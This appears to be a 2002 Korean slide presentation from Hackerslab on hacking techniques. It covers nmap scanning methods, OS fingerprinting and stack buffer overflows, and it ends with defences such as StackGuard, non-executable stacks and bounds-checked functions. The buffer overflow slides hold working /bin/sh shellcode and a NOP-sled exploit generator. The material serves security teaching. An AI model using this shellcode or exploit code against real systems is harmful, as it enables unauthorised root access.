최신해킹공격방법의이해 2002. 6. 조용상 oxffffff@hackerslab.org Hackerslab / Intelligence 팀
목차 공격방법의변천시기불일치현상기술관점에따른공격기법 Scanning software 구현상의오류를이용한공격 Buffer Overflow 악의적인공격행위
공격방법의변천 제 1 시기 Password 수작업추측 Password 자동추측 제 2 시기제 3 시기제 4 시기제 5 시기 Command 조합에의한해킹 File Permission (setuid) Configuaration Error Environment Variable error Progeamming 에의한해킹 Race Condition Sniffing Spoofing DoS Scanning Appl Backdoor Buffer overflow Format String Kernel Backdoor worm D DoS Web Attack PC virus Window Trojan
공격방법의변천 P2P messenger Attack Wireless Attack DB Attack 제 6 시기 Advanced BO Attack Advanced Kernel Backdoor 지금시기는제 5 시기에서제 6 시기로변화중 Blackhat 영역의시기와 Whitehat 영역의시기의불일치현상존재
Blackhat & Whitehat 간의시기불일치현상 underground 에서연구하고있는해킹기법과 (black 영역 ) 실제 internet 현장 (white 영역 ) 에서대규모발생하고있는해킹기법간에는약 1 시기의차이가있다. 현재 blackhat 의집중연구분야 wireless attack DB SQL injection attack Advanced Buffer Overflow Attack (Free malloc overflow) whitehat 영역의실제피해기법 internet worm (CodeRed, nimda, Window Trojan) Distributed Denial Of Service Attack Web Application Attack ( 홈페이지공격 )
Blackhat & Whitehat 간의시기불일치현상 이러한시기불일치현상의결과 whitehat 영역의관심사와 blackhat 영역의관심사가다름 whitehat 영역의경우 이전시기의공격기법에대한대책에관심 blackhat 영역의경우 새로운시기의공격기법자체에대해관심 컴퓨터보안영역의이원화 보안제품개발자, 시스템네트웍관리자의경우 whitehat 영역의기술을다룬다 취약점점검, 보안진단, 버그분석자의경우 blackhat 영역의기술을다룬다 programming 에의한 hacking 이나오기시작한제 3 시기이후두영역은더욱더이원화됨
기술관점에따른공격기법 정보획득기법 (Scanning) Network 통신취약점을이용한공격 (TCP/IP 오류 ) System 관리잘못을이용한공격 software 구현상의오류를이용한공격 ( bug ) 은닉기법 (backdoor ) 서비스제공방해공격 (DoS) 자동공격 & 침투기법 (worm, trojan)
Scanning Which systems are alive and reachable? What services they offer? How can I know those? Ping sweep, Port scan OS indentification DoS와더불어서 IDS 로그발생원인의대다수를차지
Kind of Information Running TCP/UDP services System architecture (Intel x86, sparc) Reachable IP address Oeration System type
ICMP echo request ICMP is defined by RFC 792. ICMP ECHO request (ICMP type 8) Packet 을목적시스템에전송 그에대한응답으로 ICMP ECHO reply (ICMP type 0) Packet 이도달하였는지를체크 목적 IP 가살아있는지의여부를결정
ICMP echo request # nmap sp n 192.168.192.255/24 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Host (192.168.192.0) seems to be a subnet broadcast address (returned 1 extra pings). Still scanning it due to positive ping response from its own IP. Host (192.168.192.1) appears to be up. Host (192.168.192.3) appears to be up..... nmap run completed -- 256 IP addresses (108 hosts up) scanned in 5 seconds
Port Scan Ping Sweep 이후, 목적시스템의 TCP 나 UDP 포트에연결을통해서어떤서비스가실행중이거나 listening 상태에있는지를탐지 tcp connect() scan tcp syn scan (half-open scan) stealth scan udp scan
TCP Sweep TCP 3-way handshaking
TCP connect() scan 목적시스켐의포트는 listening 상태임 SYN 패킷을목적시스템의포트에전송 목적시스템으로부터반환된패킷이 SYN/ACK 패킷인가? YES NO 반환된패킷이 RST/ACK 패킷으로예상되며목적시스켐의포트는 listening 상태가아님 ACK 를전송함으로써 three-way handshake 을종료 연결이 RESET 됨
TCP connect() scan Most basic form of tcp scan. need NOT root permission. scan by using many sockets in parallel. -> speedy scan. Using non-blocking I/O allows you to set a low time-out period and watch all the sockets at once. -> speedy scan. 단점은목적시스템의로그에남기때문에쉽게탐지될수있고필터링이가능
TCP syn scan 목적시스켐의포트는 listening 상태임 SYN 패킷을목적시스템의포트에전송 목적시스템으로부터반환된패킷이 SYN/ACK 패킷인가? YES NO 반환된패킷이 RST/ACK 패킷으로예상되며목적시스켐의포트는 listening 상태가아님 RST 패킷을목적시스템에보내어연결을해제한다. 연결이 RESET 됨
TCP syn scan often referred to as "half-open" scanning you don't open a full TCP connection Return SYN ACK indicates the port is listening. Return RST is indicative of a non- listener. You need root privileges to build these custom SYN packets. 로그에잡힐확률이적음.
Stealth scan Stealth means Null flag, No flag or code bits set. 다음셋중에하나면 Stealth scan 임. 필터링규칙을통과함 목적시스템의로그메카니즘에의해기록되지않음 일상적인사이트나네트워크트래픽에서자신을숨김
Stealth scan 의종류 SYN/ACK scan FIN scan XMAS scan NULL scan
Stealth scan 의실제기법 비정상적인 tcp 패킷을던져주고그에따른반응을수집하여 port scan. SYN/ACK, FIN, XMAS, NULL flag 패킷을보냈을때 Closed port 는 RESET 패킷으로반응 Open port 는무반응 ( 무시 ) RFC 793 의권고안 하지만 MS 등은이권고안을무시하였음
SYN/ACK scan 의도적으로 TCP three-way handshake 를무시 TCP three-way handshake 의첫번째단계를생략하고두번째단계인 SYN/ACK 패킷을먼저보내서그반응을통해정보를획득 Closed port Target 시스템은 SYN 패킷이전송되지않았음을알고보내어진패킷을오류로판단하여 RESET 대답 시스템의존재와해당포트가 closed 임을알수있음 Open port 보내어진 SYN/ACK 패킷무시 ( 무반응 )
FIN scan FIN 패킷을보낸후, 시스템의반응을통해정보를획득 Closed port Target 시스템은 SYN 패킷이전송되지않았음을알고보내어진패킷을오류로판단하여 RESET 대답 시스템의존재와해당포트가 closed 임을알수있음 Open port 보내어진 SYN/ACK 패킷무시 ( 무반응 ) # nmap sf 203.239.110.1
XMAS scan, NULL scan XMAS scan URG, ACK, PST, RST, SYN, FIN 플래그를모두세팅한패킷을보내는스캐닝기법 # nmap sx 203.239.110.1 NULL scan 모든플래그를 Off 한패킷을보내는스캐닝기법 # nmap sn 203.239.110.1
UDP Scan UDP port (RFC 768) 이용 send 0 byte udp packets to each port on the target machine. ICMP port unreachable 메시지가 return 안되면해당포트가 reachable 하다고판단.(open port 라고판단 ) 신뢰성이적음 lost UDP 재전송기능필요
UDP Scan Useful to scan solaris RPCbind port, which is hided on an undocumented UDP port somewhere above 32770. sunrpc(111 tcp) port 가 block 되어있어도가능. # nmap su 11.11.11.11 Starting nmap V. 2.53 by fyodor@insecure.org ( www.insecure.org/nmap/ ) Interesting ports on 11.11.11.11 (The 1429 ports scanned but not shown below are in state: closed) Port State Service 32771/udp open sometimes-rpc6 32775/udp open sometimes-rpc14 32776/udp open sometimes-rpc16 32777/udp open sometimes-rpc18
Port scan 의보조기법 Random port scan 순차적인포트연결시도탈피 Slow scan 룰셋시간내시도패킷수를최소화 Fragmentation scan Decoy scan Coordinated scan
OS Identification Banner Grabbing ALZZA Linux release 6.0 (May the Force be with you) Kernel 2.2.5-22 on an i586 login: # echo 'GET / HTTP/1.0\n' nc hotbot.com 80 egrep '^Server:' Server: Microsoft-IIS/4.0 TCP/IP Stack Fingerprinting TCP 스택을구현할때, 각 OS vendor 별로조금씩수치가다르게구현된것을이용하여특정 TCP 패킷을보내고반환되는응답을관찰하여원격시스템의운영체제를알아내는기법 # nmap O 203.239.110.1 TCP Sequence Prediction: Class=random positive increments Difficulty=5721956 (Good luck!) Remote operating system guess: Linux 2.1.122-2.2.14
TCP/IP Stack Fingerprinting FIN probe Bogus flag probe TCP Initial sequence number sampling Don't Fragment Bit TCP Initial Window ACK Value ICMP Error Message Quenching ICMP Message Quoting ICMP Error Message Echoing Integrity Type of Service (TOS) Fragmentation Handling TCP options
TCP initial number sampling 연결요청에응답할때 TCP 구현에따라선택되어지는 Initial sequence number 의패턴이틀림. 오래된버전의유닉스 : 64K 씩증가 FreeBSD, DG-UX, IRIX, Solaris : 시간에비례하여증가 Linux : 완전 random
Network 통신취약점공격 TCP/IP 의개방성과효율을위한단순함에기인한문제들 Spoofing IP Spoofing, DNS Spoofing, Domain Spoofing, ARP Spoofing Hijacking Sessiong Hijacking Sniffing Switch 환경에서의 Sniffing
System 관리잘못을이용한공격 Account 도용 Password Cracking File / Directory Permission Error ( 예 :.rhosts) 최근에는거의피해사례없음
Software 구현상의오류를이용한공격 운영체제또는 Application 을개발한개발사의프로그래머잘못에의한문제점 bug 혹은 Vulnerability 를이용한공격 Bug ( 좁은의미의 vulnerability) 1990 년이래약 5000 건의보안관련 bug 가존재 ( Hackerslab Vulnerability database) 발표되는 bug 의 95% 는 trivial 실제 whitehat 영역에서피해사례로체감할수있는 bug 는 전체발표 bug 의 5% 미만
Software 구현상의오류를이용한공격 whitehat 영역에서피해사례로체감 의의미 Exploit 가용이 많은시스템이이 bug 에적용 Bug 가많이알려져있음 대책을강구하기가어려움 웜형태, remote 공격, rootshell 획득공격 Hackerslab Vulnerability Expect 지수 위요소들을반영하여각 bug 의체감지수를 1~36 level 로배열 예 : CodeRed 의경우 36 level
Software 구현상의오류를이용한공격
Software 구현상의오류를이용한공격 경계영역문제 Buffer Overflow Stack Overflow Frame Pointer Overflow Heap Overflow Free Malloc Overflow 접근권한인증실패 입력데이터확인오류 Format String Attack 웹페이지파일업로드공격 웹페이지중요정보공개공격 Cross Site Script 공격 Race Condition
Software 구현상의오류를이용한공격 예외상황처리오류 웹페이지중요정보공개오류 실행환경오류 패키지설치당시의 configuration의오류 Object 자동실행
Buffer Overflow Buffer overflow? 컴파일러가배열의경계검사 (Boundary Check) 를하지않아선언된크기보다더큰데이터를기록함으로써발생되는현상 운영체제가스택이나힙영역에임의의데이터기록및실행을허용함으로써발생되는현상 Lower Memory Address Local variables (buffer area) Stack Frame Pointer Return Address Arguments Execution Stack Stack Frame Activation Record
함수의리턴주소변경ret Buffer Overflow 공격의대상 취약점이있는서버데몬및시스템관리프로그램 주로 root 소유의 suid 프로그램 공격의절차 취약점탐지및정보수집 OS, Program, Version, etc Exploit code from the well-known security portal sites 혹은직접 Exploit 프로그램작성 로컬및리모트공격용쉘코드작성 Let s exploit! text data buffer (our code) sfp parameters...
Buffer Overflow 의이해 $ cat overflow.c void main () { char buffer[16]; printf ( "Input : " ); scanf ( "%s", buffer ); printf ( "Output : %s\n", buffer ); } $./overflow Input : 1234567890123456 Output : 1234567890123456 $./overflow Input : 123456789012345678901 Output : 123456789012345678901 Segmentation fault Why?
Intel Architecture32 CPU Stack? 연속된메모리공간으로서 Last In First Out (LIFO) 구조 함수의인자및결과값전달및지역변수용으로사용 메모리영역중에서최상위부분에위치 메모리하단방향으로증가 IA-32 에서는 4 바이트씩정렬 따라서 1 바이트변수도스택 4 바이트사용 Registers ESP - 스택의 Top 을가리킴 EBP - 호출된 procedure 를위한스택프레임내의고정 reference point 를나타냄. 저장된이전의 EBP 값을 sfp 라고함 EIP - 다음에수행할명령어의위치를가리킴
Stack Structure 0x08048000 code data bss bss.. stack arguments environment program name null null 0xbfffffff Lower Memory Address Local variables (buffer area) Stack Frame Pointer Return Address Arguments Execution Stack Stack Frame Activation Record
Overflow 전 Stack Structure Overflow 후 32 bit 32 bit buffer buffer 16 bytes buffer buffer 16 bytes sfp sfp ret ret 4 bytes 4 bytes sfp sfp ret ret 4 bytes 4 bytes To main????
void function (int a, int b, int c) { char buffer1 [ 5 ]; char buffer2 [ 10 ]; int *ret; } ret = buffer1 + 12; (*ret) += 8; void main() { Return Address 의조작 Ret addr 의조작에의한흐름제어 buffer2 buffer1 sfp ret 12 bytes 8 bytes 4 bytes int x; } x = 0; function ( 1, 2, 3); x = 1; printf ( "%d\n", x );
Spanwing Shell Code shellcode 란? /bin/sh 를실행시키는기계어코드 shellcode 특징 메모리상의 shellcode 의위치를모르므로상대번지만사용 NULL 문자는버퍼에복사되지않으므로 0x00 코드는다른해당기계어코드로대체 CPU 마다다르게제작 buffer jump our code call /bin/sh sfp ret parameters
Spawning Shell Code Shell code의원형 완성된 shell code #include #include <stdio.h> jmp <stdio.h> jmp 0x1f 0x1f # 2 bytes bytes popl popl %esi %esi # 1 byte byte void void main() movl main() movl %esi,0x8(%esi) # 3 bytes bytes { xorl xorl %eax,%eax %eax,%eax # 2 bytes bytes char char *name[2]; movb *name[2]; movb %eax,0x7(%esi) # 3 bytes bytes movl movl %eax,0xc(%esi) # 3 bytes bytes name[0] name[0] = /bin/sh ; movb /bin/sh ; movb $0xb,%al $0xb,%al # 2 bytes bytes name[1] name[1] = NULL; movl NULL; movl %esi,%ebx %esi,%ebx # 2 bytes bytes execve(name[0],name,null); leal leal 0x8(%esi),%ecx # 3 bytes bytes leal leal 0xc(%esi),%edx # 3 bytes bytes int int $0x80 $0x80 # 2 bytes bytes xorl xorl %ebx,%ebx %ebx,%ebx # 2 bytes bytes movl movl %ebx,%eax %ebx,%eax # 2 bytes bytes inc inc %eax %eax # 1 bytes bytes int int $0x80 $0x80 # 2 bytes bytes call call -0x24-0x24 # 5 bytes bytes.string.string\"/bin/sh\ # 8 bytes bytes
Buffer Overflow 원리 char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; char large_string[128]; void main() { char buffer[96]; int i; long *long_ptr = (long *) large_string; for (i = 0; i < 32; i++) *(long_ptr + i) = (int) buffer; for (i = 0; i < strlen(shellcode); i++) large_string[i] = shellcode[i];
실전에서의 Buffer Overflow 정확한 ret addr 을구하기힘들기때문에 NOP 코드를이용 buffer NOP NOP NOP... our code call /bin/sh sfp ret Q: Where is our code? A: Maybe parameters
실전 Buffer Overflow #include <stdlib.h> #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define NOP 0x90 char shellcode[] = \xeb\x1f\x5e\x89\x76\x08\x31\xc0 \x88\x46\x07\x89\x46\x0c\xb0\x0b \x89\xf3\x8d\x4e\x08\x8d\x56\x0c \xcd\x80\x31\xdb\x89\xd8\x40\xcd \x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { asm ("movl %esp,%eax"); } void main(int argc, char *argv[]) { char *buff, *ptr; long *addr_ptr, addr; int offset=default_offset; int bsize=default_buffer_size; int i; if (argc > 1) bsize=atoi(argv[1]); if (argc > 2) offset=atoi(argv[2]); if (!(buff = malloc(bsize))) { printf("can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("using address:0x%x\n",addr); ptr = buff; addr_ptr = (long *) ptr; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; for (i = 0; i < bsize/2; i++) buff[i] = NOP; ptr = buff + ((bsize/2) (strlen(shellcode)/2)); for (i=0; i<strlen(shellcode);i++) *(ptr++) = shellcode[i]; buff[bsize - 1] = '\0'; memcpy(buff,"egg=",4); putenv(buff); system("/bin/bash"); }
Buffer Overflow 대책 운영체제커널패치 사용자스택영역에데이터기록금지 함수로부터복귀할때스택의무결성 (integrity) 검사 코드수행금지 Linux Kernel patch from the Openwall Project http://www.openwall.com/linux/ Solaris 2.6 이상버젼 : prevent and log stack-smashing attack /etc/system 수정 set noexec_user_stack = 1 set noexec_user_stack_log = 1
Buffer Overflow 대책 경계검사를하는컴파일러및링크사용 GNU GCC 2.7.2.3 버전을패치한 StackGuard http://www.cse.ogi.edu/disc/projects/immunix/stackguard 복귀주소다음에 canary word 를위치시킴 canary word 가변경되면스택오버플로우공격의시도감지및보고 (syslog), 시스템종료. Random canary» 실행할때마다 canary value 를변경시켜, 공격자가예측하지못하도록함 Null canary(0x00000000),» 공격자가버퍼에널문자 (0x00) 를넣을수없다는점을이용 Terminator canary(combination of Null, CR, LF, -l)» NULL 문자로끝나지않는몇몇문자열함수의문자열끝문자이용
Buffer Overflow 대책 즉각적인보안패치 RedHat Linux http://www.redhat.com/apps/support/updates.html MS http://support.microsoft.com BSD 관련 http://www.freebsd.org/security/index.html Sun Solaris http://sunsolve.sun.com Digital ftp://ftp.compaq.com/pub HP/UX http://us-support3.external.hp.com IBM AIX ftp://software.watson.ibm.com/pub SGI IRIX ftp://ftp.sgi.com/security
Buffer Overflow 원천방지 프로그래머의관점에서의보안대책 Boundary 를검사하는컴파일러및링커사용 Boundary 를검사하는함수사용 사용자제함수들 strcat(), strcpy(), gets(), scanf(), sscanf(), vscanf(), vsscanf(), sprintf(), vsprintf(), gethostbyname() 사용권장함수들 strncat(), strncpy(), fgets(), fscanf(), vfscanf(), snprintf(), vsnprintf() Overflow_wrapper 사용 AUSCERT : overflow_wrapper.c ftp://ftp.auscert.org.au/pub/auscert/tools/overflow_wrapper.c 버퍼크기검사후원래의프로그램수행
Buffer Overflow 원천방지 Example of Vulnerable Program Example of Secure Program (patch) insecure.c #include <stdio.h> #include <string.h> #include <ctype.h> int main(int argc, char **argv) { char buffer[1024]; if(argc > 1) { strcpy(buffer, argv[1]); } printf( buffer: %s\n,buffer); } secure1.c #include <stdio.h> #include <string.h> #include <ctype.h> #include <stdlib.h> int main(int argc, char **argv) { char buffer[1024]; int i; if(argc > 1) { if(strlen(argv[1]) >=1023) { fprintf(stderr, too long\n ); exit(0); } strcpy(buffer, argv[1]); } printf( buffer: %s\n, buffer); }
Review : Buffer Overflow 버퍼오버플로우공격의위험성 리모트혹은로컬에서인증절차없이임의의권한획득 손쉽게구할수있는수없이많은 exploit 코드존재 원인 운영체제 : 스택혹은힙영역에데이터쓰기및실행허용 컴파일러 : 버퍼의경계검사소홀 프로그래머 : 버퍼의경계검사소홀및적절한함수선택에부주의 대책 운영체제 : 사용자의스택혹은힙영역의쓰기및실행권한제거 컴파일러 : 버퍼의경계검사지원 프로그래머 : 버퍼의경계검사철저, 적절한함수선택, 도구사용
악의적인공격행위 경유지 이용 No special target? Yes Politic, Ecomomic, Religion, Nationalism wide network scan gain any account? Remote intrusion Yes Login as account Local vulnerability? Yes No Local DoS No concentrated scan Remote vulnerability? Yes No Remote DoS root compromising 경유지 이용
Q & A 질문?